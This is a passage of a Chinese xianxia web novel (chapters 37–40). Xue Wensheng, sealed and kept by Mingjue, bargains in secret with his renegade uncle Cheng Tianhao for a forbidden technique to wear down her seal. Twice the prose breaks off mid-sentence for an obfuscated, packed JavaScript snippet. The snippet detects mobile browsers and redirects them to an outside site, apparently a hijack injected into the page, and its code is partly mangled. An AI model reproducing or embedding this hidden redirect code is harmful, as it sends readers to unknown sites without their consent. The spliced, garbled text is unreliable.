她默默记下明决翻阅频率最高的几卷典籍,等他离开后,整理好散乱的书签,在他炼制丹药耗费心神后,适时地奉上一杯温度适宜的清心茶。她努力将自己变成一个安静的,有用的,不再带来任何麻烦的影子。 同时,更细致地观察他。 跟以前带着仰慕爱恋的那种观察可不一样,现在的观察是为了找破绽。 她观察他布设阵法时灵力的流转轨迹,观察他炼制不同丹药时火候的细微变化,观察他日常起居中可能存在的疏漏,哪怕是一些微不足道的习惯。 可是,没有。 因为之前体弱,所以明决偶尔会指导她一些强身健体的基础吐纳法,当然了,那些功法非常粗浅,但她无意间发现似乎跟锁灵印出于同源,故而很好的成了她的掩护,她按照明决指引运转正道灵气的同时,分出了一缕很微弱,几乎无法被察觉的神念,像游丝一样,小心翼翼地缠绕上太清锁灵印的边缘,轻轻柔柔的去感知,想办法了解它构成的道纹,了解它的能量韵律。 这个过程万分凶险,简直是在万丈深渊上走钢丝,稍有不慎,便会再次引动封印反噬,万劫不复。 没办法,这是她目前唯一能想到的,最隐蔽的一种窥探方式。 明决对她这种藏在“认真学习”下的窥探,似乎毫无所觉。他指导如常,还为她点出灵力运转中的滞涩之处。 雪闻笙稍稍松了口气。 但在某些夜深人静的时刻,雪闻笙精神极度疲惫,陷入浅眠时,会恍惚感觉有一道清冷而浩瀚的意念,像月光无声扫过她的房间,在她身上停留了一瞬,又悄然退去,不留一丝痕迹。 这种感觉若有若无,她分不清是梦境还是现实。 但每一次,都她都会从心底泛起阵阵寒意。明决......真的毫无察觉吗? 这种被注视,又不被点破的感觉,让她极度不安。 这一日,天空飘起了细密的雨丝,尘寂山笼罩在一片朦胧的水汽中。 雪闻笙坐在廊下,看着庭院中愈发青翠的药草,忽然轻声开口,像是自言自语,又像是说给身旁静立观雨的明决听: “这雨,不知要下到何时。总觉得......心里也像是被这雨水浸透了,又冷又潮,看不到放晴的时候。” 明决目光依旧落在雨幕里,声音透过淅沥的雨声传来:“天行有常,不为尧存,不为桀亡。雨终有止时,云终有散日。静心以待,自有月明风清。” 雪闻笙膝上的手,微微蜷缩了一下,她努力营造出来,需要被关怀的弱势氛围,就这么被他不着痕迹地化解了。 她怎么还能静心? 但她却露出一个释然浅笑,点头附和道:“你说得对,我......我会试着静下心来。” 她垂眸,看着廊下积蓄的雨水,告诉自己,总有一天,她会找到打破这僵局的方法,无论付出什么代价。 雨,依旧在下。 廊下一站一坐的两人,身影在水汽中显得有些模糊。 尘寂山依旧宁静,雪闻笙像在暗处生长的苔藓,缓慢,执着地侵蚀着石壁。明决则像山巅的积雪,亘古清冷,外界一切纷扰都无法触及他分毫。 当然,偶尔也确实会有小意外。 暴雨倾盆的深夜,闪电袭来,突兀的撕裂了漆黑夜空,一缕危险的气息随之显现。 那股气息很强大,灵力混乱,带着血腥味,像一只受伤的凶兽,强行把尘寂山外围的护山阵法撕开了一道小口,略过大殿,直冲深庭的竹楼而来。 雪闻笙正在房中以神念感知封印,猛地一惊,连忙收敛了所有气息,悄悄跑出房门,警惕地躲在栏杆后。 来者不善,且修为极高。 静居的门无声开启。 明决出现在廊下,素白的衣袍在狂风中猎猎作响,他却站得稳如磐石,目光沉静地投向阵法被撕裂的方向。 他根本不在意,仿佛早有预料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892670|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雪闻笙更好奇了。 直到雨幕中,出现一个黑色身影。 是一个身着玄紫色残破长袍的男子,身形高挺,墨发未束,湿漉漉地贴在苍白的脸颊。他踉跄着踏上庭院,每走一步都在青砖地面上留下一个带着血水的脚印。 雨水冲洗了他袍角暗沉的血渍,却洗不掉他周身化不开的煞气。 男子停在了在庭院中央,抬头直直地看向明决,扯了扯嘴角,讥诮道:“小师侄,多年不见,你这尘寂山......还是这般......无趣得紧呐。” 小师侄? 这个称呼让暗处的雪闻笙心中一震。明决竟然还有师门?还有一位......如此邪气凛然的师叔? 明决静立原地,雨水在他周身三尺之外便仿佛遇到了无形的屏障,自动滑开,未曾沾湿他半分衣角。 他看着庭院中气势逼人的男子,语气平淡无波,听不出一丁点久别重逢的味道: “成天灏。你不该来此。” 被称作成天灏的男子闻言,低低地笑了起来,笑声牵动了伤口,咳嗽了几声,嘴角溢出更多的血沫,他浑不在意:“咳咳......不该来?这普天之下,还有我成天灏不该去的地方?” 他看着明决纤尘不染的模样,讥讽之意更浓了:“看来小师侄如今道法大成,越发不念旧情了。见了昔日师叔这般模样,连句客套话都吝啬?” 明决不为所动:“师门旧谊,早已了断。你既叛出师门,便与玄门再无瓜葛。我尘寂山的清静,不容外扰。” “了断?哈哈......好一个了断!”成天灏像是听到了什么天大的笑话,“你们一个个的,都巴不得与我划清界限!老道士是这样,你也是这样!” 他猛地止住笑,死死盯住明决,“可我偏要来!我倒要看看,你这号称玄门第一人的小师侄,是不是也跟那些道貌岸然的家伙一样,见死不救!” 话音刚落,他周身的气息一阵剧烈波动,显然伤势极重,已是强弩之末。 他身体晃了晃,几乎要栽倒在地,强行拿出手中的半截赤色长笛撑住了身体。 明决静静地看着他,虽然还是无动于衷,但也没有出言驱赶他。 雪闻笙不知道明决在想什么,眼前的成天灏虚弱,偏执,对明决仍有深藏在疯狂之下的一丝旧日情分。 “你受伤很重。”明决终于开了口,“是幽冥噬心掌,混合了七种以上的剧毒,能撑到此地,已是极限。” 闻言,成天灏瞳孔微缩,随即又嗤笑一声:“好啊,眼力不错。怎么?明决大善人这是打算亲自出手,替天行道,清理我这师门败类了?”他说这话的语气带着挑衅,暗地里却绷紧了神经,警惕着明决要出手的动作。 不过,明决明显没兴趣,淡淡地移开了目光,望向了滂沱的雨幕:“尘寂山不是杀戮之地。你若要避雨,偏殿尚可容身。伤愈之后,便自行离去吧。” 说完,他竟不再理会成天灏,转身便向静室走去。 可能在他眼中,庭院里这个重伤垂危,身份敏感的“客人”,与山中偶尔闯入的一只受伤野兽没有多大区别吧。 成天灏愣住了,他实在没料到明决会是这般反应。 既不救助,也不驱逐,只是提供了一处避雨的角落?这完全不符合明决那传闻中恪守正道,界限分明的作风啊。 他看着明决转身离去的背影,被这漠然的“宽容”所刺,有些恼怒。 “明决!”他提高声音喊道,“你就不问问我为何受伤?被何人所伤?” 38. 第 38 章 明决在静室门口微顿,头也不回道:“因果自负,恩怨自了。你的路,与我无关。” 话音落下,静居的门无声合拢。 成天灏独自站在大雨中,脸上神情变幻不定。 很久很久以后,雪闻笙好像听见他低骂了一声,便拄着长笛,走向了偏殿。 尽管雪闻笙早就收敛气息隐匿起来了,但他在经过栏杆时,眸子似乎无意般向这里扫了一眼,嘴角快速弯了一下。 雪闻笙回到房中之后,屏住呼吸,心中念头飞转。 这个成天灏,与明决关系微妙,而且......看起来并不是一个循规蹈矩之人。 他会不会,就是自己一直等待的那个变数呢? 窗外的雨下得更大了,“吧嗒吧嗒”砸在屋檐上,雪闻笙心湖中渐渐掀起了滔天巨浪。 她把自己私藏的一部经法拿出来,照着上面的示范动作捏了个升级版的“千音决”,然后蜷缩在房间的阴影里,专心捕捉着偏殿方向传来的所有声响。 那个紫袍男子——成天灏,明决的小师叔,他身上的血腥煞气和某种颓靡的危险气息,像毒药,雪闻笙既恐惧,又抑制不住地生出一种病态的吸引。 她不知道玄门是什么样的地方,也不知道成天灏为什么会叛离,但她知道,这个成天灏,与明决是截然不同的两种人。 明决是冰山的雪,清冷纯净,遥不可及。他,是深渊边缘盛开的罂花,妖异迷人,又险恶。 这个人,或许能帮她! 他敢叛出师门,跟明决乃至整个所谓的“正道”都格格不入,重要的是他强大,他此刻正虚弱,需要庇护,或许......他也期盼着有人在这个时候给他一些交换的条件。 激动过后,她又起了警惕和算计。 这个人她从来没接触过,可信吗? 天下那么大,他怎么不去不去别处,偏偏来了尘寂山?是真的走投无路,还是另有所图? 明决对成天灏的态度,她也拿捏不准。 看似漠然,实则默许,会不会藏着不为人知的深意呢? 自己若是贸然接触他,会不会是刚出狼窝,又入虎口? 她逐渐冷静下来,像一只谨慎的狐狸,琢磨评估这个可利用对象的风险程度。 尘寂山的氛围变得有些诡异。 成天灏待在偏殿里养伤,异常安静,几乎听不到什么动静。 但雪闻笙能隐约感觉到,他阴郁强大的气息并没有消散,随时可能暴起伤人。 明决一切如常,清修,制药,偶尔会去偏殿查看一下成天灏的伤势。 雪闻笙偷偷看到过一次,明决只是站在门口,没有进去,隔着一段距离以灵力探查,片刻之后便离开了,其实两个人之间没有见面,也没有交流。 他们之间究竟有什么过往呢?她很好奇。 雪闻笙每日完成功课,照料完药圃,目光总会在偏殿方向停留,这里她可太熟了。她暗中观察成天灏需要什么,明决对待他的底线在哪里。 明决跟对待之前的小野狸完全不同,虽然他提供了庇护,却没有积极治疗,也没有给成天灏丹药上的帮助,只是确保伤势不会立刻要了成天灏的命,也不会在尘寂山范围内恶化,仅此而已。 克制,冷漠的“仁至义尽”。 而成天灏,也默默接受了这种状态,没有再出言挑衅或者要求更多。 但是雪闻笙能感觉出来,偏殿中,是不是会逸散出一丝隐晦的神念,就像小触角一样,悄悄然扫过竹楼,扫过走廊,扫过大殿......成天灏也在观察这里的一切,包括......她。 于是她更加确信,成天灏绝非善类,不是个甘于沉寂之人。 雪闻笙内心很矛盾。 一方面,她对成天灏并不信任,不知道为什么,他那双眼睛,总让她想起梦中那些残忍暴虐的魅族先辈,里面带着不加掩饰的掠夺性。 另一方面,他身上那份与明决,与整个正道格格不入的“邪”气,又让她产生了扭曲的亲近感。仿佛在这个世界上,只有这样的“恶”,才能理解她内心的黑暗与不甘,才能给予她打破规则的力量。 她对明决的情感,也因为成天灏的出现变得更复杂了。 看到明决对待成天灏那么漠然的态度,她有种快感——看,他对谁都一样冷酷!并不是只对她一人如此! 转瞬又开始怨怼——为什么?为什么你可以对一只鸟,一片云流露出温和,可以对一个叛出师门的师叔提供庇护,却唯独对我,连一个笑容都如此吝啬?难道在你心中,我连一个“外人”都不如吗? 终于,在一个月色朦胧的后半夜,雪闻笙躺在床上想,成天灏的伤势在缓慢恢复,谁也不知道他完全恢复后会发生什么,她不能错过这个机会,必须在他还“虚弱”,并且对尘寂山,对明决抱有某种“需求”的时候,冒险一试。 她穿好衣服,溜出房间,长时间的蛰伏很有效,她对明决布下的阵法已经有了细致了解,故而她没有惊动任何禁制就来到了偏殿。 里面没有点灯,她就着月光透过的窗户,看见了一个倚坐在榻上的模糊身影。 雪闻笙离得老远就嗅到一鼻子血腥气。 她站在门外,心脏狂跳,等手心不再沁出冷汗了,伸手轻轻叩响了门扉,“笃笃笃”。 “成前辈?” 她用了一个比较模糊的敬称,“晚辈雪闻笙,见前辈伤势未愈,特备了些药露,或许......对前辈有所帮助。” 门内一片寂静,连呼吸都听不见。 雪闻笙等了一会儿,斟酌着是再次开口还是离开时,门里传来一道沙哑声音,带着调侃意味:“哦?这小师侄座下,什么时候多了个如此善解人意的晚辈?” 什么时候?在你不知道的时候呗,雪闻笙忍不住腹议。 随后成天灏的声音顿了顿:“进来吧。” 雪闻笙还在心思恍惚的时候,“吱呀”一声,紧闭的门自动从里面打开了一道缝隙。 透过缝隙,她看见了在一双幽幽闪烁的眼睛。 雪闻笙的心提到了嗓子眼,她知道,踏进这道门,或许就是踏入了真正的深渊。 但她没有犹豫,攥紧了手中的瓷瓶。 明决不开口,她不敢真的给他送什么有效的药,瓶里面的是她偷偷用几种安神草药调配的,当然,还私自掺入了一些微量的“小料”,是用来引动他体内幽冥掌力波动的药露。 她决定先发制人,迈出危险的第一步。 她进去之后,偏殿的门立刻就无声合拢了,里面很黑,明明是自己很熟悉的地方,她忽然觉得脚下的路很陌生,每一步走的都很辛苦。 她只能靠嗅觉去辨别,未散的血腥气里,一股独属于成天灏,带着颓靡与煞气的男性气息扑面而来。 她迅速适应了黑暗,看着那个倚靠在床榻上的身影。 成天灏依旧穿着那身残破的玄紫长袍,衣襟微敞,露出小半边缠绕着染血绷带的精壮胸膛。墨发凌乱地披散,衬得他苍白的脸愈发俊美邪异。那双眸子在黑暗中灼灼发亮,像一只潜伏的猛兽,颇有兴味地打量着主动送上门来的“猎物”。 雪闻笙知道,自己正在与虎谋皮,每一步都如履薄冰。 她努力调整自己的状态,带上属于晚辈的关切与怯懦,小声道:“成前辈,晚辈冒昧打扰。这是我自己调配的‘凝心露’,用了尘寂山特有的几味安神草药,能缓解前辈伤势带来的烦恶之感。” 不等成天灏有反应,她上前一步,将药露轻轻放在床榻边的矮几上。 成天灏终于动了动。 他微微倾身向前,慵懒地开口:“你叫雪闻笙?雪......闻笙?” 他重复着她的名字,每个字都像带着小钩子,毫不避讳地在她绝美的脸上流转,不是欣赏,像是在评估一件物品的价值与危险性。“好一朵娇俏动人的解语花啊,明决能有你这般佳人常伴在侧,何其荣焉......” 雪闻笙被他看得头皮发麻,强忍着后退的冲动,垂下眼睫,避开了他的目光,低声道:“前辈说笑了。我只是......蒙明决收留,在此栖身罢了。” “栖身?”成天灏低笑一声,“能在明决的尘寂山‘栖身’,还能在他眼皮子底下,半夜偷偷给我这师门败类送药......小姑娘,你的本事,恐怕不止是‘栖身’这么简单吧?” 他竟然这么直接,雪闻笙心中警铃大作,知道对方绝非易与之辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906383|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己的小心思恐怕早就已经被看穿大半。 但她不能慌,更不能承认。 她抬起眼,眸中适时地氤氲起一层委屈的水光,微微哽咽道:“前辈误会了......我,我只是见前辈伤势沉重,想起自己当初也是重伤被明决所救,感同身受......明决他......他性子清冷,或许不便亲自过多照料,所以我才......才自作主张......” 她的话,半真半假,想用跟他同样受过创伤的历经和脆弱形象,让他共情,产生同理心。 成天灏当然没有被她这番表演完全骗过去,但这番话里透露出的信息——她对明决有轻微抱怨,以及那份“感同身受”,确实让他产生了兴趣。 他重新靠回榻上,意味深长道:“看来,我小师侄那套悲天悯人的做派,也并非对谁都那般熨帖啊。” 雪闻笙心中一动,知道机会来了。 她没有顺着成天灏的话头,去谈论明决的行事作风,而是巧妙地转换了话题。 她目光落在成天灏胸口渗血的绷带上,忧心道:“前辈的伤......似乎很棘手。明决他......也没有办法吗?” 成天灏嗤笑一声,言语间满是不屑与自嘲:“他?他巴不得我早点死干净,省得污了他这清圣之地。至于这伤......”他眼底掠过一丝阴鸷,“幽冥噬心,腐骨蚀魂,除非找到特定的解药,或是拥有至阴至寒的纯粹力量强行中和,否则......哼。” 至阴至寒的纯粹力量? 雪闻笙第一时间就想到了自己体内被封印的魅族之力,正是属于阴寒属性。虽然被封印,但其本质或许能......她马上又压下了这个诱人的念头,没有十足把握之前,绝不能暴露! 她露出一副惋惜的神情,同情道:“竟如此严重......那前辈日后有何打算?一直在此养伤吗?” “打算?”成天灏瞥了她一眼,眼神幽深,“小丫头,你套话的技巧,还嫩了点。” 他话锋突然一转,“说说你吧。深更半夜,冒着被明决发现的风险,给我送这玩意儿......”他目光扫过那瓶药露,“真的只是出于好心,还是别有深意?” 刹那间,成天灏周身收敛的煞气隐隐有了复苏的迹象,虽然因为伤势显得不那么凝实,但是属于强者的威压感,也足够雪闻笙心生胆寒,她呼吸一滞,眼前一黑。 雪闻笙知道自己到了最关键的时刻。 示弱讨好对他统统没用,必须要有一定的“价值”和“坦诚”,才能取信于这头危险的孤狼。 她调整状态,迅速褪去怯懦和委屈,抬起头,大胆迎上成天灏的目光:“前辈目光如炬。我确实......有所求。” 成天灏眉梢微挑,似乎对她的坦率有些意外,他没有打断,用眼神示意她继续说。 “我身负一种......特殊的血脉之力。”雪闻笙斟酌着用词,不敢直接提及魅族,“但这种力量,被一种极其强大的封印禁锢了。我没有办法修炼功法,无法动用分毫。可我需要力量......迫切需要!无论付出什么代价!” 她紧紧盯着成天灏的反应。 只见他眼眸中闪过一丝讶然,问道:“哦?你说你被封印了力量?” 随后,他像是忽然想到了什么极其有趣的事情,笑着摇了摇头。再看向对雪闻笙的时候,兴趣更浓厚了,他叹道:“能让明决亲自出手封印的力量......啧啧,看来小丫头你的来历,也不简单啊。” 他没有追问雪闻笙具体是什么血脉之力,似乎对此没有十分在意,他现在更在意的是这背后代表的意义——一个对明决抱有不满,且渴望力量的潜在“盟友”。 “所以呢,”成天灏身体前倾,呼出的气息几乎要贴到雪闻笙脸上,蛊惑道“你是想......让我帮你,解开封印?” 雪闻笙几乎要脱口而出“是”,但理智让她死死咬住了嘴唇。 不能直接承认!那样太被动,也会暴露自己的底牌! 她摇了摇头:“不。成前辈伤势未愈,晚辈不敢奢求。我只是想......与前辈做一个交易。” “交易?“ “说说看,你能给我什么?” 39. 第 39 章 “信息。” “关于尘寂山,明决的日常习惯,还有这山中阵法的一些观察。这对前辈养伤,或是日后离开,都有所帮助。”她不敢说得太多,模棱两可的先抛出一些诱人的饵。 “而作为交换,”她继续道,“我希望前辈能在力所能及之时,指点我一二。不拘于是功法,见识,只要是有利于让我变得更强的方法都可以。” 她没有再提封印,把要求放的很平和简单,显得不那么急切。 成天灏听完沉默了。 她常年身处尘寂山,常伴明决左右,提供的“信息”对他而言,确实有一定价值。而指点她一二,对他来说,不过是举手之劳,他可以借此机会调教出一枚供自己掌控的棋子,毕竟有些事情他不方便直接出手。 他眯起眼睛,暗暗思忖眼前这个看起来柔弱,却心思缜密,胆大包天的少女。 真是越看越迷人,越看越顺眼。 他们是同类,身上都有一种被规则束缚,渴望打破禁锢,不惜铤而走险的疯狂。 良久,他缓缓开口:“有点意思......小丫头,你的里子比表面上看起来的,要有趣得多。” 他没有明确答应她,也没有拒绝,但这句话的态度,算是默许了。 他伸出手指,轻轻拈起矮几上那瓶药露,放在鼻尖嗅了嗅,眼中闪过一丝异色:“药配得不错,虽然手法稚嫩,但是里面其中几味药的阴性......倒是颇合我此刻的胃口。” 他意味深长地看了雪闻笙一眼,仿佛看穿了她在那凝心露中做的小手脚。 雪闻笙一声不吭,面色不改。 成天灏将药瓶随手放在一旁,懒洋洋地摆了摆手:“行了,你的‘心意’,我收到了。回去吧,以后若有什么‘有趣’的发现,可以再来找我。” 这是打算送客了,也是认可了她初步的“投诚”。 雪闻笙今晚只能到此为止。 她微微躬身,道:“是,前辈好生休息,晚辈告退。” 房门在身后关上,雪闻笙快走几步,来到自己房间外的回廊,终于支撑不住靠在墙壁上,大口喘息着,后背已经被冷汗浸湿。 刚才的交锋虽然短暂,实则凶险万分,她稍有差池,便会万劫不复。 好在......她成功了! 她与成天灏建立了初步的联系,埋下了一颗危险的种子。 虽然前途未卜,是与恶魔在交易,但至少...... 她抬头望向明决静室的方向,那里一片沉寂,对刚才发生在偏殿的一切毫无所知。 雪闻笙眼中,闪过一丝愧疚。 为了族人,为了那求而不得的执念,她别无选择。 自那夜与成天灏达成默契以后,雪闻笙的处境异常艰难,她孤身站在细丝上,一端是明决,另一端是成天灏,她夹在俩人之间,必须时刻保持平衡,若是有任何一丝倾斜,都会有灭顶之灾。 白日里,她是安静,温顺,潜心“悔过”的雪闻笙,更加细致地观察着尘寂山的一切,尤其是那些平日里容易被忽略的细节。 这么做,不仅仅是为了她自己冲击封印,更成了她与成天灏“交易”的筹码。 她在深夜,确认明决已经入定,且成天灏所在偏殿周围没有异常灵力波动时,才会悄无声息地靠近。 第二次会面,气氛比第一次少了些剑拔弩张,多了几分心照不宣。 成天灏的气色比之前好了一些,伤势依旧沉重,但萦绕在周身的死气淡了些许,眼睛也更有神了。 他倚在榻上,听着雪闻笙将她观察所得,关于明决清晨会在哪处山崖吸纳第一缕紫气,药圃东南角那几株看起来普通的“凝露草”其实是某种高阶阵法隐匿的阵眼等信息,低声告诉他。 直到雪闻笙说完,他才撩起眼皮,扯出一个算是“赞赏”的笑:“不错。观察入微,心思缜密。明决那小子,怕是也想不到,他这尘寂山里,养了只这么会钻营的小玩意儿。” 他的语气听不出是褒是贬,雪闻笙压根也不在乎他对自己的评价,确保她提供的信息,对他有价值就行。 “前辈过奖。”雪闻笙低眉顺目,心中暗暗松了口气。 自己第一步赌对了。 “不过......”成天灏又接了一句,“光是这些边角料,可不够换你想要的‘指点’。” 雪闻笙谦逊道:“晚辈愚钝,还请前辈明示。” 成天灏的声音像毒蛇爬过草丛,有股子冰冷的滑腻感:“我要知道,明决最近在炼制什么?尤其是,与疗伤,或是化解阴毒戾气相关的丹药。” 雪闻笙心中微震,他果然在打明决丹药的主意。 是想用来治疗自己身上的毒吗?这无疑是在触碰明决的底线!一旦被发现...... 见她沉默,成天灏嗤笑一声:“怎么?怕了?小丫头,想要获得,就必须承担风险。天下没有白吃的午餐。你若连这点胆色都没有,趁早收起你的野心,乖乖做明决笼子里的金丝雀去吧。” 他的激将法很拙劣,但有效。 雪闻笙目前最听不得这些话了,她脑海中瞬间闪过鸣宝焦黑的尸体,族人期盼的眼神,还有明决从未对她展露的笑......屈辱与不甘的怒火冲上她头顶。 她咬牙道:“我会留意的。” 成天灏满意地靠在床沿边:“这才对嘛。” 他顿了顿,随意般问道:“你那体内什么什么血脉的封印......最近可有异常感觉?” 雪闻笙心中一紧,戒备起来。 她不敢完全说实话,含糊道:“依旧稳固,难以撼动分毫。” “太清锁灵印啊,乃道门顶尖的禁锢之术,岂是那么容易撼动的。”成天灏一点都不意外,“不过,万物相生相克,再坚固的封印,也必有其承受的极限,一定有与之属性相冲的弱点。” 雪闻笙猛地抬头看向他:“前辈,知道破解之法?” “破解?”成天灏玩味地笑了,“谈何容易。除非施术者亲自解除,或者有远超施术者修为的大能,不惜耗费本源强行冲击。或者......” 他坏心眼的拖长了语调,紧紧盯着雪闻笙的反应,“找到与之属性截然相反,且品质极高的力量源泉,以水磨工夫,一点点侵蚀,消磨。” 属性相反的力量?雪闻笙立刻想到了自己体内被封印的魅族之力,难道...... “当然,这只是理论。”成天灏打断她的思绪,“具体如何,还需要看你自身的造化,再者说了,想找到那样的力量源泉属实不易啊。”他明明话中有话,却没有再深入。 俩人的这次会面,就这么在未尽之语的氛围中匆匆结束了。 雪闻笙带着沉重的压力离开了偏殿。 余下来的日子,她变得忙碌起来了。 她利用照料药圃的机会,仔细地辨认和记忆那些药性特殊,带有毒性的草药。她在明决炼丹时,借口在一旁学习,默默记下他投入丹炉的药材种类,顺序,以及火候的大致变化。 她尝试着,在成天灏的暗示下,偷偷截留了极其少量明决废弃不用,蕴含着纯净阳刚之气的药渣,成天灏说,可以尝试着用来“刺激”一下她体内的封印,观察反应。 不管怎么说,这都是一个极大胆,又冒险的举动。 每一次,当她将那一点点药渣藏入袖中时,都能感觉到静室方向似乎有一道无形的目光扫过来,让她脊背发凉,忍不住落荒而逃。 但明决始终没有出现,也没有过问,还是一如既往的漠不关心。 她又觉得这像种“被默许”的感觉,心中愈加不安了。 明决到底知不知道? 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这一日,她悄悄来到了明决日常清修的一处隐秘石洞,想要查探里面有没有“焚梦”圣剑的线索,试一试自己修炼的成果,不知道是太过紧张,还是那法门本身就有缺陷,她的气息忽然不稳,有了一丝细微的紊乱。 只有短短一瞬。 原本在静室静坐的明决,忽然睁开了眼睛。 他的目光望着虚空中的某一点,眼神锐利如电,仿佛穿透了重重墙壁,直接落在了雪闻笙藏身之处。 无形的威压弥漫开来,隐含着令人无所遁形的警告,雪闻笙像被隔空击中了身体,大脑瞬间一片空白,被成天灏传授的法门立刻就溃散了,僵硬的定在原地,连呼吸都忘记了。 几息之后,那股庞大的威压才逐渐退去,石洞周边哪里还有半分明决的气息? 但是雪闻笙知道,是他。 明决发现了她。 他知道她在窥探,知道她与成天灏的暗中往来。 那他为何不阻止?为何不斥责? 就只用了一个无声的警告,彰显了他深不可测的实力,太令人绝望了,那种高高在上的掌控力。 在他眼中,她所有努力,所有算计,所有在绝望中生出的毒芽,都只是无聊时观赏的一出蹩脚戏剧吗?他冷眼旁观,看着她在他划定的界限内徒劳地扑腾,像看笼中囚鸟。 雪闻笙踉跄着连连后退,逃离了那片区域。 回到房间,脱了力,她蜷缩在地上。 她与明决之间维持着表面和平的那层薄薄的窗户纸,被这一记无声的警告,戳破了一个洞。 裂痕已经出现了。 她知道,自己的时间,不多了。 泪水无声地滑落,满心愤懑与不甘。 为什么?为什么偏偏是她要承受这些?为什么她要被族群的责任压垮,要被无望的爱恋折磨,要被这该死的封印禁锢,还要在这个男人面前,显得如此渺小? 那个不风光霁月的笑容,再次闯入她的脑海,与方才警告的眼神交织在一起,讽刺极了。 看啊,她费尽心机,丑态百出,也换不来他一丝真正的情绪波动。而别人,只需站在那里,什么也不做,就能轻易得到她梦寐以求的东西。 明决的警告,像一剂猛药,激醒了她骨子里属于魅族的桀骜与疯狂。 她抬手狠狠擦去泪痕,眼底一片冰冷。 既然已经被看穿,再伪装已经没有意义了。 她不会放弃的,温和隐蔽的方式行不通,那就用更激烈,更危险的方式好了。 她可以更无所顾忌地去谋划她想要的一切,目标始终没有变——力量,“焚梦”圣剑,掌控明决! 只是接下来的手段,需要调整。 40. 第 40 章 成天灏是个很好的突破口。 明决未必清楚她与成天灏交易的具体内容。 而且成天灏也没闲着,一定也在暗中谋划什么。她得趁自己还有利用价值,得到自己想要的。 次日清晨,她在庭院中碰巧遇到了明决,他正准备去药圃。 雪闻笙不躲不避,抬眼,平静地跟他对视,眼神里没有以往的怯懦,讨好或伪装出来的温顺。 明决的脚步微微一顿,目光在她脸上停留片刻,什么也没说,像往常一样,微微颔首,便径直走向了药圃。 他这种反应,印证了雪闻笙的猜测——他知晓,但放任自流。 雪闻笙蓦然有种解脱感,同时,也有了更大的压力。 她像被人放在了一个无形的实验场上,一举一动都被记录着,评估着,而那个评判者,始终超然物外。 当夜,她来到了偏殿。 这一次,她是来谈判的。 成天灏察觉到了她的变化:“哦?看来我们的小雀儿,昨晚似乎受了点惊吓?” 雪闻笙没有否认,也没有像之前那样故作姿态。她走到矮几前,自己找了个地方坐下,直视着成天灏,开门见山道:“前辈,我的时间可能不多了。” 成天灏眉梢微挑,示意她继续。 “明决已经察觉了我的动作。虽然他没有明说,但警告的意味很明显。我怀疑,他对我们之间的往来,并非一无所知。” 她这番话,既是一种坦诚,也是试探,想看看成天灏有何反应。 成天灏闻言,眼里闪过一丝兴奋:“他察觉了?呵呵......有意思。我这小师侄,比我想象的还要沉得住气。这么说来,他要么顾忌着什么,要么就是对你,或者对我,另有打算。” 成天灏的分析很有道理,是啊,以明决的实力,若真想阻止,何必只是警告? 但她也没有完全相信成天灏的话,万一他在借机诈她呢? 雪闻笙压下疑虑,将话题引回自己的目的:“所以,前辈,我们之前的交易,需要加速了。我得学会实际的东西,能在短时间内,获得哪怕一丝突破封印的方法,到时候也能帮些小忙,不至于拖了后腿。” 她语气柔软,但态度坚决,换了个人似的。 成天灏摩挲着下巴,好像今天才真正认识她:“小丫头,一夜之间,胆子肥了不少。想学更实际的方法?当然有了,不过风险大,代价也更高啊。” “什么方法?” “我可以传你一篇口诀,名为‘净灵决’。不是正统的修炼之法,是专门用侵蚀,消磨各种能量禁锢的偏门秘术。配合你体内被封印的力量,或许能对太清锁灵印起到一些作用。” 净灵决? 听起来,正是她急需的东西。 成天灏幽幽道:“你听着,此法凶险至极,听说像引火烧身一样灼痛。一个掌控不好,非但不能侵蚀封印,有可能先一步被其反噬,轻则经脉尽毁,重则魂飞魄散!而且,修炼此法,需要引动你自身的本源阴力,过程痛苦无比,说像被千刀万剐了也不为过,你可要想清楚!” 诱惑,又危险。 雪闻笙心里摇晃不定,可能会经脉尽毁?魂飞魄散? “我学!”雪闻笙低声应道。 “哈哈哈哈......很好。”成天灏笑了,他从一开始就知道,这枚棋子,绝对有超乎他预期的价值。 “准备好了吗?” “嗯。” 于是,他不再多言,开始以神念相传,将一篇艰涩诡异的“净灵决”口诀,一字一句地烙入雪闻笙的脑海里。 雪闻笙紧咬牙关,默默承受着晕眩感,陌生,带着腐蚀意味的信息流涌进来,混乱极了。 成天灏在她耳边低声讲解,她努力去记忆每一个字句,理解每一个运转法门。 她知道,从她决定修炼“净灵决”那一刻开始,她就真的再没有回头路了,她正在把自己淬火锻造成一把带毒的刀。 成天灏所传授的“净灵决”,如同其名,不过净化的不是污秽邪气,而是灵气。 它本质带着阴损,毁灭的气息。口诀艰涩诡异,灵力运转的路径更是刁钻无比,悖逆了正统道法,专走偏锋,旨在以自身本源之力,侵蚀,消磨一切外在的灵气能量禁锢。 雪闻笙没有在偏殿待太长时间,记住口诀之后就离开了。 她将自己反锁在房中,施了个小小的结界,确认不会被外界打扰之后,才敢小心翼翼地尝试。 她盘膝而坐,屏息凝神,调动起被太清锁灵印死死压制在血脉深处,属于魅族的至阴之力。 太难了,力量被封印的太久,暴躁得很,她摸不准轻重,一时间难以驯服,稍有不慎,就会引发一次小小反扑。 